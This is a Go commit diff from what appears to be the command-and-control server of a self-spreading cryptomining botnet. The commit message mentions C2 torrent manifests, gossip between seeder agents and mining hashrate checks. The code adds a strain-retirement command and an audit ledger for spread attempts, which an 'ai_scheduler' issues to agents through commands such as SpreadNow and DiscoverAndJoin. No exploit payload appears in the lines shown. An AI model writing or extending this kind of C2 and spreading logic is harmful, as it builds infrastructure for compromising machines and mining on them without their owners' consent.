Add Fleet Torrent erasure extension with shard DHT and gossip.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Content-addressed shard DHT on seeder agents with subnet_primary_seeder election, cross-subnet fleet_torrent_gossip, BGP swarm magnets, C2 torrent manifest, and k-of-n peer fetch with C2 fallback.
This commit is contained in:
@@ -249,6 +249,12 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string,
|
||||
if args == nil {
|
||||
args = map[string]interface{}{}
|
||||
}
|
||||
summary, err := e.executeCommand(agentID, cmd, args)
|
||||
e.recordOathForCommand(agentID, cmd, args, summary, err)
|
||||
return summary, err
|
||||
}
|
||||
|
||||
func (e *FleetAIExecutor) executeCommand(agentID string, cmd fleetai.Command, args map[string]interface{}) (string, error) {
|
||||
switch cmd.Type {
|
||||
case fleetai.CmdNoop:
|
||||
return "noop", nil
|
||||
@@ -331,6 +337,29 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string,
|
||||
e.Hub.serverPolicy = policy
|
||||
e.Hub.mu.Unlock()
|
||||
return "erasure:on", nil
|
||||
case fleetai.CmdStrainHospice:
|
||||
strainID, _ := args["strain_id"].(string)
|
||||
strainID = strings.TrimSpace(strainID)
|
||||
if strainID == "" && e.Hub.db != nil {
|
||||
if ag, err := e.Hub.db.GetAgent(agentID); err == nil && ag != nil {
|
||||
strainID = strings.TrimSpace(ag.SpreadStrain)
|
||||
if strainID == "" {
|
||||
strainID = strategy.StrainFromSpreadLane(e.Hub.AgentJoinLane(agentID))
|
||||
}
|
||||
}
|
||||
}
|
||||
if strainID == "" {
|
||||
return "", fmt.Errorf("strain_hospice requires strain_id or agent spread_strain")
|
||||
}
|
||||
reason, _ := args["reason"].(string)
|
||||
if strings.TrimSpace(reason) == "" {
|
||||
reason = "court L4 hospice vote"
|
||||
}
|
||||
rec, err := e.Hub.RetireStrainToHospice(strainID, string(strategy.StrainRetiredByCourt), reason)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return "strain_hospice:" + rec.StrainID, nil
|
||||
default:
|
||||
if err := e.Hub.SendAgentCommand(agentID, cmd.Type, args); err != nil {
|
||||
return "", err
|
||||
@@ -339,6 +368,46 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string,
|
||||
}
|
||||
}
|
||||
|
||||
func (e *FleetAIExecutor) recordOathForCommand(agentID string, cmd fleetai.Command, args map[string]interface{}, summary string, execErr error) {
|
||||
if e == nil || e.Hub == nil || e.Hub.db == nil {
|
||||
return
|
||||
}
|
||||
actionType := ""
|
||||
switch cmd.Type {
|
||||
case fleetai.CmdReorderTiers, fleetai.CmdSkipTier, fleetai.CmdSpreadRetryLane:
|
||||
actionType = db.OathSpreadTierEscalation
|
||||
case fleetai.CmdSpreadNow, fleetai.CmdDiscoverAndJoin:
|
||||
actionType = db.OathSpreadAttempt
|
||||
default:
|
||||
return
|
||||
}
|
||||
bridge := &OathLedgerBridge{DB: e.Hub.db, Hub: e.Hub}
|
||||
_ = bridge.Record(
|
||||
"ai_scheduler",
|
||||
actionType,
|
||||
agentID,
|
||||
agentStrainFromDB(e.Hub.db, agentID),
|
||||
oathOutcomeFromError(execErr),
|
||||
map[string]interface{}{
|
||||
"command_type": cmd.Type,
|
||||
"args": args,
|
||||
},
|
||||
map[string]interface{}{
|
||||
"command_type": cmd.Type,
|
||||
"args": args,
|
||||
"summary": summary,
|
||||
"error": errorString(execErr),
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
func errorString(err error) string {
|
||||
if err == nil {
|
||||
return ""
|
||||
}
|
||||
return err.Error()
|
||||
}
|
||||
|
||||
func (e *FleetAIExecutor) pushReorderTiers(agentID string, args map[string]interface{}) (string, error) {
|
||||
payload := map[string]interface{}{}
|
||||
if raw, ok := args["tier_order"]; ok {
|
||||
|
||||
Reference in New Issue
Block a user